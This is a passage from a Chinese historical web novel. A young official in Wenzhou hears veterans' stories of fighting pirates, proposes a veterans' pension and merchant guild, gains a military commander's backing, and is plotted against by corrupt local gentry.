“……大哥,你还记不记得,那次在雁门关外,咱们被鞑子的骑兵围了,三百人被三千人围着打,天都杀红了。” 霍峰喝得满脸通红,大着舌头说道。 何大勇浑浊的眼中闪烁着异样的光彩。 “怎么不记得?你小子当时跟个疯子一样,拎着刀追着人家的百夫长砍了三里地。” “要不是我带人把你拖回来,你小子的脑袋早被人当夜壶了!” “哈哈哈!”霍峰大笑。 “那不是看他旗子好看吗!老子就寻思着,砍了那鸟旗,咱们不就有救了?” 他们的笑声粗犷而豪迈,但陆明渊却能从那笑声背后,听出一丝丝的悲凉与后怕。 陆明渊没有插话,只是安静地听着,时不时地为他们添上酒。 他从这些故事里,看到了一个个鲜活的人,看到了他们的恐惧,他们的勇猛,他们的忠诚与牺牲。 这让他对“功臣”与“英雄”这四个字,有了更深刻的理解。 渐渐地,话题从北境的鞑子,聊到了东海的倭寇。 提到倭寇,何大勇的眼神瞬间变得无比阴冷,他下意识地摸了摸自己空荡荡的裤管。 “百夫长,就是这帮狗娘养的杂碎……” 他的声音里充满了刻骨的恨意。 霍峰重重地将酒碗砸在桌上,酒水四溅。 “妈的,提起这帮耗子一样的杂碎,老子就来气!” “打起仗来,一个个跟疯狗似的,悍不畏死。可一打不过,就往海里钻。” “咱们的水师,船没人家的小,也没人家的快,追都追不上!” “只能眼睁睁看着他们跑了,过几天又换个地方来抢!” 陆明渊心中一动,知道机会来了。 他放下酒碗,身体微微前倾,带着几分请教的诚恳,问道。 “霍将军,何老英雄,晚生有一事不明,想向二位请教。” “陆大人但说无妨!” 霍峰拍着胸脯道。 “这倭寇,当真如此难缠?” 陆明渊问道。 “我曾听闻,他们不过是些流浪武士、海盗商贾纠集而成的乌合之众,为何我大乾天兵,竟屡屡受挫?” 这个问题,显然问到了点子上。 何大勇放下手中的酒碗,沉声道:“大人,您有所不知。这倭寇,确实是乌合之众,可他们狠啊!” “他们用的刀,又长又快,咱们的腰刀跟他们一碰,好几个口子。” “而且他们打起仗来不要命,经常几十个人一条小船,十多条船就敢冲击咱们上千人的军阵。” “一旦被他们冲上船,短兵相接,咱们人多的优势就没了,死伤惨重。” 霍峰在一旁补充道。 “大哥说得对!这帮杂碎,最擅长的就是小股突袭,打了就跑。” “他们熟悉沿海的每一处港湾,每一个小岛,往那礁石林里一钻,咱们的大船根本进不去。” 他顿了顿,声音压低了几分,带着一丝愤懑。 “而且……沿海的一些大户,甚至是一些地方官吏,暗中跟他们有勾结!” “给他们提供补给,销赃,甚至传递我们官军的动向!” “这才是最他娘的难办的!里应外合,防不胜防!” 陆明渊静静地听着,将这些都刻在脑海里。 这些,都是来自第一线的宝贵情报。 他继续问道。 “那依二位之见,若要彻底剿灭这帮倭寇,该从何处下手?” “剿?” 霍峰冷笑一声,摇了摇头。 “难!除非朝廷下定决心,组建一支真正强大的水师。” “造出比他们更快、更灵活的战船,再配上我们大乾的火炮,在海上把他们彻底打残、打怕!” “否则,光靠我们卫所这点兵,在岸上堵,永远是治标不治本。” 何大勇也叹了口气。 “还得严查内奸!把那些给倭寇递刀子的手给剁了!” “不然我们前脚出兵,他们后脚就把消息卖了,这仗还怎么打?” 陆明渊听着两人的话,心中渐渐有了一个清晰的轮廓。 “听君一席话,胜读十年兵书。有二位这样的勇士在,何愁倭寇不平!” 这句夸赞发自肺腑,让霍峰和何大勇都有些不好意思。 “嗨,我们就是个大头兵,懂个啥,瞎咧咧罢了。” 霍峰摆了摆手,但脸上的笑意却怎么也藏不住。 这一顿饭,直吃到了子时。 酒坛见了底,一整只鸡也只剩下了一副骨架。 何大勇毕竟年老体衰,又断了腿,加上今天心神激荡,早已抵不住酒意,趴在桌上沉沉睡去。 他口中还喃喃念叨着“杀鞑子”、“砍倭寇”的梦话。 何二柱的母亲心疼地为他披上一件旧衣。 霍峰看着睡梦中依旧眉头紧锁的何大勇,眼神复杂,他站起身,对陆明渊道。 “陆大人,外头风大,借一步说话?” “好。” 陆明渊点了点头。 两人一前一后,走出了小屋。 屋外,寒月如钩,冷冷地挂在深邃的夜空中。 深秋的寒风卷着草屑和泥土的气息,吹在脸上,让人瞬间清醒了许多。 霍峰高大的身影在月光下投下长长的影子,他身上的铁甲反射着清冷的光。 他没有回头,只是看着远方漆黑的田野,声音低沉而沙哑。 “陆大人,当年在台州城外,大哥是为了替我挡倭寇头领劈下来的一刀,才没了一条腿。” “我霍峰这条命,是他给的。” “今天,你为他伸冤,保住了他的地,保住了他们一家老小的活路,等于是救了他第二次命。” 霍峰猛地转过身,一双虎目在月光下亮得惊人,他直勾勾地盯着陆明渊,一字一顿地说道。 “所以,你陆明渊,也是我霍峰的救命恩人!” 不等陆明渊开口,他蒲扇般的大手便重重地捶在了自己的胸甲上,发出“咚”的一声闷响。 “我霍峰是个粗人,不懂你们读书人那些弯弯绕绕,之乎者也。” “我只知道,谁对我好,我就把命给他!谁动我兄弟,我就要谁的命!” 第209章 这东海之上,还有谁敢再称王! 陆大人……高义! 这一拜,沉甸甸的,如山岳压顶。 霍峰并非在拜陆明渊这个人,也不是在拜他温州府同知的官身。 他拜的,是那句“功臣不应受辱,英雄不该流泪”,拜的是那份敢于将空话变成铁律的担当与魄力。 陆明渊没有躲,他坦然受了这一拜。 因为他知道,自己受的不是霍峰的膝盖,而是温州府数万退伍老兵的期盼。 他上前一步,双手扶起霍峰的臂膀,触手处一片冰凉的铁甲。 “将军不必如此。” 陆明渊的声音在寒风中显得格外清晰。 “我为官一日,便要思一日之民生。这并非高义,而是本分。” 霍峰站直了身子,这个在尸山血海中都未曾轻易低头的汉子,此刻看着陆明渊的眼神,却充满了复杂的情绪。 有敬,有疑,也有一丝深藏的期许。 他沉默了片刻,似乎在消化着“荣军所”这三个字带来的巨大冲击,然后才用一种近乎沙哑的声音说道。 “陆大人,您的心意,末将明白。只是……这事儿,怕是难如登天。” 他顿了顿,像是在组织着自己粗粝的语言。 “朝廷对退伍的将士,并非没有抚恤。退伍之时,或赐田产,或给银两,皆有定制。” “可这么多年下来……您也看到了何大哥的境况。” “您想建的那个荣军所,又能比朝廷的法子,好到哪里去?” 这不是质疑,而是一种见惯了失望之后的审慎。 他怕,怕这少年官员的一腔热血,最终只是镜花水月,给了那些在泥沼里挣扎的老兄弟们一场空欢喜。 陆明渊听出了他话里的意思,非但没有不悦,反而微微一笑。 他没有直接回答,而是反问道:“霍将军,我问你,朝廷没给何老英雄田地吗?” 霍峰一怔,点了点头。 “朝廷没给何老英雄银两吗?” 霍峰又点了点头。 陆明渊的目光越过霍峰的肩膀,望向那片在月色下显得格外萧索的田野,声音平静却带着一种洞穿人心的力量。 “可是,从沙场上九死一生退下来的袍泽,身上有几个是完好无损的?” “何老英雄断了一条腿,他如何耕种朝廷赏赐的田地?他只能租出去,靠着那点微薄的租金活命。” “可一旦遇上天灾,颗粒无收,他又如何维系?” “若是再遇上赵大富这等劣绅,巧取豪夺,他又如何维权?” “这一次,是何二柱一腔血勇,告到了府衙,恰好遇上了我。” “可下一次呢?若是下一任同知与乡绅沆瀣一气,这些老兵的血泪与冤屈,又有谁能听见?又有谁愿意去听?” 他的每一句话,都像一记重锤,狠狠地砸在霍峰的心上。 这些问题,霍峰不是不知道,他只是不敢去深想。 因为每一次深想,带来的都是无尽的愤怒与无力。 他可以为兄弟两肋插刀,却无法对抗这整个吃人的世道。 “陆大人说的是……” 霍峰的声音艰涩无比。 “这一次,您能救何大哥,下一次呢?您若是调任了,我也走了,谁来管他们?” 陆明渊转过头,漆黑的眸子在月光下亮得惊人。 “我们要做的,不是头痛医头,脚痛医脚。而是要从根本上,解决这个问题!” “根本?” 霍峰咀嚼着这个词,仿佛第一次听到。 他深吸一口气,月下的寒气灌入肺腑,却压不住胸中翻腾的热血。 他向前踏出一步,几乎是逼视着陆明渊,用一种近乎恳求的语气问道。 “敢问陆大人,这根本,该如何解决?” 陆明渊看着他,知道时机已到。 “我有两个法子。” 他伸出一根手指。 “其一,是上策,需上达天听,由朝廷推行。” “自今日起,凡我大乾军士,每月军饷之中,可由兵部代扣一成,存入国库。” “这笔钱,不动用,不挪用,只作为将士们的养老之本。待他们退役之时,连本带利,双倍奉还。” “如此一来,便是朝廷在帮将士们存一笔安身立命的银子,确保他们老有所依。 “若有将士不幸战死沙场,或是退役后意外身故,这笔钱,便由其家眷代为领取。 “领取的次序,父母为先,而后才是妻儿。如此,既能养老,亦能尽孝。” 霍峰闻言,眉头先是一展,紧接着便死死地锁了起来。 他想到了其中的好处,更想到了其中那足以吞噬一切的贪婪。 “代扣军饷?” 他摇了摇头,冷笑道。 “陆大人,您是文官,不晓得这里头的门道。” “这笔钱,从兵部的手里过,再到户部的手里转,最后落到地方州府。” “一层层扒皮,一道道关卡,保不齐就被哪个天杀地给贪了!” “到时候将士们拿不到钱,这可是要激起兵变的滔天大祸!这法子……太险!” “将军所虑,正是此策最大的难处。” 陆明“渊坦然承认,并未反驳。 “所以,此乃上策,也是远策,非一日之功。眼下在温州,我们还有第二个法子。” “第二个方案,更为简单,也更为干脆。” 陆明渊的嘴角勾起一抹自信的弧度,那笑容在清冷的月光下,竟带着几分灼人的温度。 “咱们不靠朝廷,靠自己。” “将温州府治下,所有退伍的老兵都聚集起来,开创一个商会!” “商会?” 霍峰的脑子一时有些转不过来,他戎马半生,只知道杀人,哪里懂什么生意经。 “不错。” 陆明渊的眼中闪烁着智慧的光芒。 “温州靠海,物产丰饶。丝绸、瓷器、茶叶……哪一样不是别处抢着要的珍品?” “咱们可以组织人手,将这些货物运到内陆,运到京城,赚取其中的差价。” “那些尚有余力的老兵,可以充当商队的护卫,他们的身手和纪律,天下无双,谁敢打他们的主意?” “而那些如伺老英雄一般身有残缺的,也无需发愁。可以学些算账的本事,当个账房先生。” “或是学些手艺,编个竹器,做个木雕,通过咱们自己的商会,卖到四面八方。” “如此一来,人人有事做,人人有钱拿,还怕不能赡养自己?” 这番话,如同一道惊雷,在霍峰的脑海中炸响! 霍峰激动得满脸通红,呼吸都变得粗重起来,他一把抓住陆明渊的衣袖,大声道。 “好!这个法子好!就这么办!我……我手底下有的是退下来的兄弟,我让他们都来!” 陆明渊任由他抓着,只是轻轻摇了摇头。 “将军,先别急。这个法子虽好,却也有一个最大的阻碍。” 他抬起手,指向东方那片漆黑如墨的大海。 “想要通商,必先通海路。可如今,我大乾的沿海,不太平。” “倭寇!” 霍峰几乎是咬着牙,从齿缝里挤出这两个字。 滔天的恨意与怒火,瞬间从他眼中喷薄而出。 建立商会的美好愿景,与剿灭倭寇的残酷现实,在这一刻,被陆明渊巧妙地连接在了一起。 霍峰瞬间明白了。 只要剿灭了倭寇,打通了海路,这些老兵就能过上好日子! 这个理由,比任何朝廷的圣旨,比任何大道理,都更能激起士兵们拼命的血性! “我明白了……” 霍峰松开了手,他看着陆明渊,眼神里再无一丝一毫的怀疑,只剩下如看神人般的敬畏与狂热。 “陆大人,您……您真是算无遗策!” 他猛地一拍大腿,兴奋地来回踱步。 “我们邓总兵,早就想把那帮耗子一样的杂碎从海上彻底清出去了!” “只是苦于朝廷掣肘,地方又不配合!粮草军械,处处都要看人脸色!” “如今……如今有您这句话,有您这个章程,这事儿……能成!” 霍峰停下脚步,猛地转过身,一双虎目灼灼地盯着陆明渊。 “陆同知!既然你我想到了一处,那便择日不如撞日!” “明日一早,你便随我一道,前往总兵府!我带你去见邓大人!” “你把这商会和荣军所的章程,亲口跟他说一遍!” 他咧开嘴,露出一口森白的牙齿,笑容里是压抑不住的亢奋与杀气。 “只要邓总兵点了头,你我文武联手,我倒要看看,这温州府,还有谁敢不长眼!” “这东海之上,还有谁敢再称王!” 夜风呼啸而过,吹得两人衣袂猎猎作响。 第210章 戎马半生,所求为何? 天色尚未完全破晓,晨曦微露。 寒风依旧,但似乎比昨夜温柔了些许,不再那般刮骨。 陆明渊从怀中取出十两银子,用一方干净的帕子包好,递到前来送行的何二柱手中。 这年轻人一夜未眠,双眼布满血丝,但脊梁却挺得笔直。 “这些银子,你先拿着,给何老英雄调养身子,也置办些过冬的衣物粮食。” 陆明渊的声音很轻,却带着不容拒绝的温和。 “待开春后,家里的田地租出去了,有了进项,再还我也不迟。” 十两银子,不轻不重,恰好能解燃眉之急,又不至于引来旁人觊觎。 何二柱捧着那份沉甸甸的银子,嘴唇哆嗦着,想说什么,却又说不出口。 最终只是重重地点了点头,然后“噗通”一声跪下,对着陆明渊磕了一个响头。 陆明渊这次没有去扶。 他知道,这一拜,是何二柱在替他父亲,替他们一家,拜一个生的希望。 待何二柱起身,陆明渊才拍了拍他的肩膀,转身与早已等候在旁的霍峰一同跨上战马。 马蹄踏在冰冻的泥土上,发出清脆的“咔哒”声,两人一言不发,绝尘而去。 霍峰侧过头,看着身边这位年轻的过分的同知大人。 他一身青色官袍,在寒风中显得有些单薄,但那张俊秀的脸上,却是一片与年龄不符的沉静。 这位陆大人,究竟是胸有惊雷而面如平湖,还是初生牛犊不知猛虎? 霍峰心中念头翻滚,但虎目中的那团火焰,却是一夜未熄,反而越烧越旺。 温州总兵府,坐落于府城之西。 与寻常官衙的精致典雅不同,这里的一切都透着一股金戈铁马的肃杀之气。 高大的石墙,门前矗立的十六名顶盔贯甲的亲兵。 空气中混杂着铁锈、皮革与海风咸腥的味道。 霍峰引着陆明渊一路畅通无阻地进入府内,沿途的兵士见到霍峰,皆是挺胸行礼。 众人的目光却都好奇地投向他身后的那位年轻文官。 穿过宽阔的演武场,绕过兵器架林立的回廊,两人来到了一间正厅。 厅内,一名身着玄色劲装的中年男子正背对着他们,凝视着墙上悬挂的一幅巨大的《东海堪舆图》。 那人身材魁梧,双肩宽厚如山,即便只是一个背影,也透着一股渊渟岳峙的沉稳气度。 “总兵大人,陆同知到了。” 霍峰上前一步,沉声禀报。 那人缓缓转过身来。 只见他约莫四十余岁年纪,面容黝黑。 额头和眼角刻满了风霜与杀伐的痕迹,一双眼睛不似霍峰那般锋芒毕露,却如深潭一般,幽深不见底。 他只是随意地站在那里,周身的气场便自然而然地压过了整个厅堂。 此人,便是大乾温州卫所最高指挥官,正四品总兵,邓玉堂。 邓玉堂的目光落在陆明渊身上,上下打量了一番,眼神中古井无波,看不出喜怒。 “霍峰,你昨夜派人送来的信,本官看了。” 他的声音低沉而洪亮,带着金属般的质感。 “你信中所言,可是这位陆同知亲口所说?” “回总兵大人,字字属实!” 霍索声如洪钟。 “好。” 邓玉堂点了点头,他没有立刻就“荣军所”和“商会”之事发表任何意见,而是对陆明渊做了一个请的手势。 “陆大人,请随我来书房一叙。” 陆明渊微微颔首,跟着邓玉堂向侧面的书房走去。 霍峰正要跟上,却被邓玉堂抬手制止。 “霍峰,你守在门外,没有我的命令,任何人不得靠近。” “是!” 霍峰心中一凛,立刻站定,如一尊铁塔般守在了书房门口。 他知道,总兵大人这是要与陆同知进行一次绝对机密的谈话了。 书房之内,陈设简单,一桌,一椅,一书架,墙上挂着一柄出鞘的长刀。 刀锋在从窗棂透进的微光下,泛着森冷的寒意。 厚重的木门缓缓闭合,发出一声沉闷的“吱呀”声,将外界的一切喧嚣都隔绝在外。 邓玉堂没有坐,他走到书案后,从一个上了锁的木匣中,取出了一封封口完好的书信。 他将书信放在了陆明渊面前的桌案上。 “陆大人,看看吧。” 陆明渊的目光落在信封上。 只见上面写着“邓玉堂将军亲启”。 落款处,是三个他熟悉到刻入骨髓的字——林瀚文。 一瞬间,陆明渊只觉得一股热流从心底直冲眼眶,让他眼前微微一模糊。 恩师…… 他没想到,自己远在千里之外的恩师。 竟会为他这个刚刚踏入仕途的学生,亲笔给一位手握重兵的总兵写信。 他不用打开,也知道信里写了什么。 定然是些关照、提携的言语,是希望这位总兵大人,对自己照拂一二的期盼。 陆明渊伸出手,没有拆开信,而是郑重地将书信捧起,转身。 他朝江苏省江宁府的方向,深深地,长长地鞠了一躬。 这一拜,遥遥千里,拜的是师恩,拜的是那份拳拳爱护之心。 直起身,他将书信小心翼翼地收入怀中,贴身放好。 看着他这一连串的动作,邓玉堂那张素来如铁板般严肃的脸上,竟缓缓地绽开了一丝笑意。 “哈哈哈!” 他大笑出声,笑声在书房中回荡。 “好!好一个尊师重道的陆明渊!林大人他,没有看错人!” 笑声一收,邓玉堂的眼神变得柔和了许多,他看着陆明渊,缓缓说道。 “不瞒陆大人,当年我在北疆戍边,还只是个小小游击将军的时候,林大人时任兵部职方司郎中,巡查边防。” “那一年的冬天,雪格外的大,断了粮道,我麾下数百弟兄差点饿死。” “林大人,把他自己的那份军粮分了一半出来,又想方设法从别的防区匀了粮草过来,救了我,也救了我那几百号兄弟的命。” 他顿了顿,声音里带着一丝感怀。 “我邓玉堂欠林大人一条命,一个人情。这个人情,天大!” “如今,林大人来信,让本官在温州多多关照你。你我之间,便不是外人了。” 邓玉堂的目光重新变得锐利起来,仿佛要穿透陆明渊的内心,“现在,你可以跟本官说句实话了。” 他身体微微前倾,一字一句地问道。 “你费尽心思,弄出那个什么荣军所、商会的章程,还特意通过霍峰递到我这里来。” “你究竟……是为了什么?” 书房内的空气,在这一瞬间仿佛凝固了。 陆明渊挺直了身子,迎着邓玉堂那如鹰隼般的目光,神色平静地开口道。 “回总兵大人,晚生所为,的确是为了解决温州府数万退伍老兵的生计问题。” “是为了让他们老有所养,死有所葬,不至于让英雄流血又流泪。” “此为初衷,绝无虚假。” 他的声音清朗而坚定,没有丝毫的闪躲。 邓玉堂眉头微皱,似乎对这个答案不甚满意。 陆明渊话锋一转,眼中骤然亮起一抹惊人的光彩。 “除此之外,晚生之所以一定要面见总兵大人,是想和大人您,谈一个合作。” “一个……足以让大人您勒石记功,封侯拜将的合作!” 封侯拜将! 这四个字,如同一柄重锤,狠狠地砸在了邓玉堂的心上! 他身为武将,戎马半生,所求为何? 不就是保家卫国,建功立业,光宗耀祖么! 邓玉堂瞳孔猛地一缩,死死地盯着眼前这个年岁不大,口气却大到没边的少年。 他身上的气势不再收敛,如出鞘的利刃般压向陆明渊,沉声问道:“什么合作?” 陆明渊仿佛完全没有感受到那股迫人的压力。 他站起身,走到那副巨大的《东海堪舆图》前。 陆明渊抬起手,修长的手指在那片代表着汪洋大海的区域上,重重一点! 他的声音不大,却字字如雷,在寂静的书房中轰然炸响。 “晚生要的合作,便是与大人联手……” “扫平浙江沿海,数十年之倭患!” 第211章 这盘棋,可以开始落子 陆明渊的声音不大,却字字如雷,在寂静的书房中轰然炸响。 邓玉堂那双幽深如潭的眸子,死死地盯着陆明渊。 足足过了十数息的功夫。 邓玉堂终于笑了! “哈……哈哈……哈哈哈哈!” 那笑声雄浑苍凉,震得书架上的兵书都嗡嗡作响。 “扫平倭患?陆大人,你可知你在说什么?” 邓玉堂的笑声戛然而止,脸色瞬间变得无比严肃。 “浙江倭患,自前朝起便已为祸,至今已近百年!积重难返,根深蒂固!” “本官不说别人,就说当今浙直总督,胡宗宪胡部堂!” “胡大人是什么样的人物?他为了这四个字,在浙江这潭浑水里,与各方势力周旋数年。” “整顿卫所,编练新军,耗费了多少心血,才勉强有了与那些倭寇正面一战之力!” 他走到地图前,宽厚的手掌重重地拍在浙江沿岸那片区域,发出“砰”的一声闷响。 “你可知那些所谓的倭寇,其背后是何等盘根错节?” “里面有真倭,有我大乾朝廷的海商,有沿海活不下去的渔民,更有……那些高坐在府城之中,人模狗样的世家大族!” “他们互为表里,互通有无,早已织成了一张天罗地网!牵一发而动全身!” “你一介新任同知,无兵无权,就凭一张嘴,就想扫平这百年积祸?” 邓玉堂转过身,目光灼灼地看着陆明渊。 他的语气中带着一丝长辈对晚辈的告诫,也带着一丝不易察觉的欣赏。 “陆大人,你有这份心思,已胜过朝中衮衮诸公。” “但,这绝非一句空口白话就能办到的事情!” “年轻人,饭要一口一口吃,路要一步一步走。” 面对扑面而来的压力,陆明渊的神情没有丝毫变化,依旧是那般平静,那般沉稳。 他没有反驳邓玉堂的话,反而微微颔首,表示赞同。 “总兵大人所言极是,倭患之根,不在海上,而在岸上。” 他顿了顿,漆黑的眸子里闪烁着智慧的光芒,仿佛能洞穿人心。 “所以,晚生以为,想要铲除倭患,必先铲除内贼!” 邓玉堂眉头一挑:“内贼?” “不错。” 陆明渊的声音斩钉截铁。 “那些与倭寇暗通款曲,走私违禁,销赃牟利,视朝廷法度如无物,视百姓性命如草芥的世家大族,便是这浙江最大的内贼!” “胡总督之所以举步维艰,正是因为他要面对的,不仅仅是海上的倭寇,更是这些在岸上掣肘、拖后腿的世家。” “他们是附着在大乾肌体上的毒瘤,不将此瘤割去,浙江沿海,永无宁日!” 邓玉堂的呼吸微微一滞。 陆明渊的这番话,可谓是一针见血,直指要害。 这些道理,他一个在温州驻守多年的总兵,又何尝不知? 只是知道,与能做到,是两回事。 那些世家,在地方上势力滔天,门生故吏遍布朝野,想要动他们,谈何容易! 陆明渊似乎看穿了邓玉堂的顾虑,他继续说道。 “所以,晚生今日前来,并非是与大人商议如何出海剿倭,而是想请大人帮我一个忙,助我……先对这温州府最大的‘内贼’动手!” “谁?” 邓玉堂下意识地问道。 陆明渊轻轻摇了摇头,沉声道! “大人,并非学生信不过大人!” “实乃学生也不清楚谁会做这出头之鸟!” “到时候,谁第一个跳出来,学生就对谁动刀!” “届时,我希望大人能助我一臂之力!” 邓玉堂看着陆明渊,眼神中思绪万千! 他想起了林瀚文的信,想起了林瀚文对这个年轻人的评价——“胸有沟壑,腹有良谋,非池中之物”。 他更想起了自己这些年在温州卫所受的鸟气。 想起了那些战死的弟兄,他们的抚恤被层层克扣,家人被地方豪强欺压,他这个总兵却往往无能为力。 一股热血,猛地涌了上来。 “好!” 邓玉堂一掌拍在书案上,震得笔墨纸砚都跳了起来。 他双目赤红,死死盯着陆明渊,一字一句地说道。 “你放手去做!只要你占着一个‘理’字,天塌下来,本官替你扛着!” “届时,只要你派人来总兵府传一句话,本官亲自带兵,为你站台!” “多谢总兵大人!” 陆明渊直起身子,脸上露出了真诚的笑容。 他知道,有了邓玉堂这个承诺,他计划中最重要的一环,已经稳了! 这盘棋,可以开始落子了。 …… 从总兵府离开,天光已然大亮。 冬日的暖阳照在身上,却驱不散那深入骨髓的寒意。 陆明渊回到温州府衙,径直回了自己的签押房。 他坐回案前,继续批阅着那些枯燥的文书,神情专注,一丝不苟。 直到午后,他才叫来了自己从京城带来的两名亲随护卫。 这两名护卫,都是从羽林卫中精挑细选出来的,身手不凡,更是绝对忠诚。 “你们二人,立刻动身,前往平阳县。” 陆明渊的声音很低,却带着不容置疑的命令。 “找到何二柱,让他将昨天发生的事情,原原本本地告诉那些同样被赵大富欺压过的乡亲。” “记住,要让他们知道,本官就在温州府,为他们做主。” “是!”其中一名护卫沉声应道。 “还有,”陆明渊看向另一人。 “你去永嘉、乐清、瑞安各县,不必刻意做什么,找一些人多的茶馆酒肆。” “找几个说书人,将何二柱一家的遭遇,以及本官是如何处置赵大富的事情,当个故事说出去便可。” “我要让整个温州府的百姓都知道,这府衙的大门,是为他们这些受了冤屈的人开的。去吧,路上小心。” “遵命!” 两名护卫躬身一礼,悄无声息地退了出去,很快便消失在了府衙之中。 一时间,一股无形的暗流,开始以温州府衙为中心,向着下辖的各个县城悄然蔓延。 一个关于新任同知陆大人,不畏豪强,为民伸冤的故事,开始在乡野间、市井里,悄悄地流传开来。 起初,只是几个人在谈论。 渐渐地,越来越多的人知道了这件事。 那些被压迫得几乎喘不过气来的百姓,在黑暗中沉寂了太久的心,泛起了一丝希望。 他们将信将疑,他们翘首以盼。 而那颗名为“希望”的种子,一旦种下,便会以惊人的速度,生根发芽。 …… 与此同时,平阳县。 赵大富的宅邸内,却是另一番景象。 被陆明渊当众斥责,还赔了银子,但赵大富的脸上却没有丝毫的颓丧,反而红光满面。 他正热情地招待着一位贵客——平阳县知县,孟康。 酒过三巡,菜过五味。 孟康放下酒杯,脸上带着一丝忧虑,说道。 “赵大富,这次的事情,怕是不好收场啊。” “那位陆同知,年纪虽轻,可手段却着实厉害,而且看样子,好像不好对付啊。” “哈哈哈,孟大人多虑了!” 赵大富大笑着,给孟康斟满一杯酒。 “一个毛头小子罢了,仗着自己是状元郎,有点背景,就敢在温州府撒野?” “他也不打听打听,这温州是谁家天下!” 他压低了声音,神秘兮兮地凑到孟康耳边。 “不瞒大人说,汪家那边,已经给我递来消息了。” “哦?汪家怎么说?” 孟康顿时来了精神。 赵大富得意地一笑,眼中闪过一丝狠厉。 “汪家的意思是,先让那小子蹦跶几天,不必与他硬碰硬。他不是想当青天大老爷吗?就让他当!” “汪家已经动用京城的关系了,要不了多久,一纸调令下来,管他是什么状元郎,还不是得乖乖地从温州滚蛋!” 实际上,赵大富根本没有收到汪家的任何消息。 这番话,不过是他根据以往的经验,自己揣测出来的。 这些年来,凡是来到温州,不肯与他们同流合污的官员,最后的下场,无一不是被汪家想办法调走。 调不走的,就寻个由头贬谪。 在他看来,陆明渊也绝不会例外。 孟康闻言,顿时大喜过望,脸上的忧色一扫而空。 “原来如此!还是汪家手段通天啊!” 他连忙举杯,“那下官就放心了!来,赵兄,我敬你一杯!咱们就等着看那位陆大人的笑话!” “哈哈哈,请!” 两人相视大笑,杯中的美酒在灯火下摇曳生辉,映出他们贪婪而丑陋的嘴脸。 他们满心欢喜地等待着陆明渊被调走的那一天,好继续他们鱼肉百姓,作威作福的日子。 只是他们永远也想不到。 他们眼中那个不知天高地厚的毛头小子,此刻,正在为他们,为整个温州的贪官劣绅,精心编织着一张巨网。 而他们,正一边欢笑着,一边头也不回地,一脚踏入了网中。 第212章 真是大巧若拙,返璞归真啊! 温州府,汪家。 与平阳县赵大富那座宅邸的喧嚣油腻不同,此处的奢华,是沉淀在时光里的。 飞檐斗拱下悬挂的灯笼,透出的光晕温暖而淳厚,映出人影绰约。 空气中弥漫着淡淡的龙涎香,若有若无,如江南的烟雨,带着一种富贵带来的安逸与慵懒。 汪家三爷汪智权,正坐在这份安逸的中心。 他年约四旬,面容白净,留着三缕打理得一丝不苟的长须。 身上穿着一件月白色的杭绸长衫,不见任何金玉配饰,却比满身绫罗绸缎的赵大富要贵气百倍。 他手中把玩着两枚温润的羊脂白玉核桃,发出轻微而沉闷的碰撞声。 他派去平阳县的人,正跪在下方,一把鼻涕一把泪地哭诉着。 “三爷,您是不知道啊!那姓陆的小子,简直是茅坑里的石头,又臭又硬!” “我提了您的名号,提了汪家,他眼皮子都不眨一下!还说什么……什么王法昭昭,天理循环!” “这不是指着鼻子骂咱们汪家是无法无天之徒吗?” “现在平阳县那些刁民,一个个都跟打了鸡血似的,都说府里来了个为他们做主的青天大老爷。” “不少人都在串联,要去府衙告状!三爷,这……这要是再不想个法子,平阳县,怕是要管不住了啊!” 汪智权没有说话,只是静静地听着。 他手上那两枚玉核桃的转动速度,却在不知不觉中慢了下来,最终停住。 平阳县,一直是他汪智权的地盘。 这些年,他在这里投下了多少心血,编织了多大一张关系网,才有了如今这般安稳的局面。 无论是官府还是乡野,一切都在他的掌控之中,平稳地运转着。 现在,一颗小小的石子,被一个不知从哪里冒出来的少年郎,轻轻地投了进来。 “滚出去。” 汪智权的声音很轻,却带着一股不容置疑的寒意。 下人的哭诉声戛然而止。 他愕然抬头,看到汪智权那双平静无波的眸子,一股寒气从尾椎骨直冲天灵盖。 他不敢再多说一个字,连滚带爬地退了出去。 书房内,重归寂静。 汪智权缓缓起身,走到窗前,看着庭院中那棵不知经历了多少风雨的古槐。 一个十二岁的状元郎,一个被封为冠文伯的少年同知。 有趣。 他心中恼怒,但更多的,是一种被挑衅后的冷静。 他知道,对付这种人,不能用对付赵大富那种蠢货的手段。 愤怒解决不了问题,只会让事情变得更糟。 他必须想个办法。 要么,让这颗石子被风浪卷走,消失得无影无踪。 要么,就将他彻底碾碎,让他再也掀不起半点波澜。 “来人。” 他淡淡地吩咐道。 一名长随悄无声息地出现在他身后:“三爷。” “去查一下这位陆同知的底细,越详细越好。尤其是他的师承、同年、以及在京中的关系。” “是。” …… 效率是惊人的。 不过半日功夫,一份关于陆明渊的详细资料便摆在了汪智权的案头。 “陆明渊,十二岁,甲辰科状元,陛下亲封冠文伯……其师,江苏巡抚,林瀚文。” 当看到“林瀚文”这三个字时,汪智权的瞳孔微微一缩。 林瀚文,皇党一脉的中坚人物,门生故吏遍布江南,虽然与他们这些盘踞地方的世家不是一路人。 但其在朝中的分量,即便是汪家,也不敢轻易小觑。 这就有些棘手了。 若陆明渊只是个寻常的寒门贵子,汪家有一百种方法让他悄无声息地消失。 可他是林瀚文的亲传弟子,动了他,就等于是在打林瀚文的脸。 汪智权沉吟了许久,手指在桌面上轻轻敲击着。 既然硬来有风险,那便先礼后兵。 他唤来自己的心腹师爷,低声吩咐了几句。 师爷心领神会,立刻前往知府衙门,找到了正在为陆明渊的举动而头疼不已的知府杜晦之。 一番言语,杜晦之便欣然应允。 他以自己的名义,下帖邀请温州府各级佐官,于望江楼设宴,为新任同知陆大人接风洗尘。 帖子送到陆明渊的签押房时,他正在处理一份关于瑞安县盐场纠纷的卷宗。 他看了一眼请帖,上面是杜晦之的亲笔,言辞恳切,说是同僚聚餐,联络感情。 陆明渊对此毫无察觉,或者说,他早已料到会有这么一出。 他平静地放下卷宗,权当是去赴一场寻常的应酬。 到了晚间,便换上一身半旧的青色官袍,独自一人,如约前往望江楼。 望江楼是温州府最负盛名的酒楼,临江而建,雕梁画栋,气派非凡。 陆明渊拾级而上,还未进门,便听到里面传来的丝竹管弦之声,以及一阵阵奉承的笑语。 他走进包厢,只见里面早已是高朋满座。 知府杜晦之居于主位,各县县令、府衙六房主事分坐两侧,觥筹交错,好不热闹。 而在杜晦之的下首,赫然坐着一个身穿月白长衫的中年男子,气质儒雅,神态从容。 来人正是汪家的三爷,汪智权。 看到此人,陆明渊的眸光微微一凝,心中了然。 他脸上却不动声色,只是对着众人拱手一礼:“下官来迟,还望诸位大人恕罪。” 杜晦之连忙起身,哈哈大笑道。 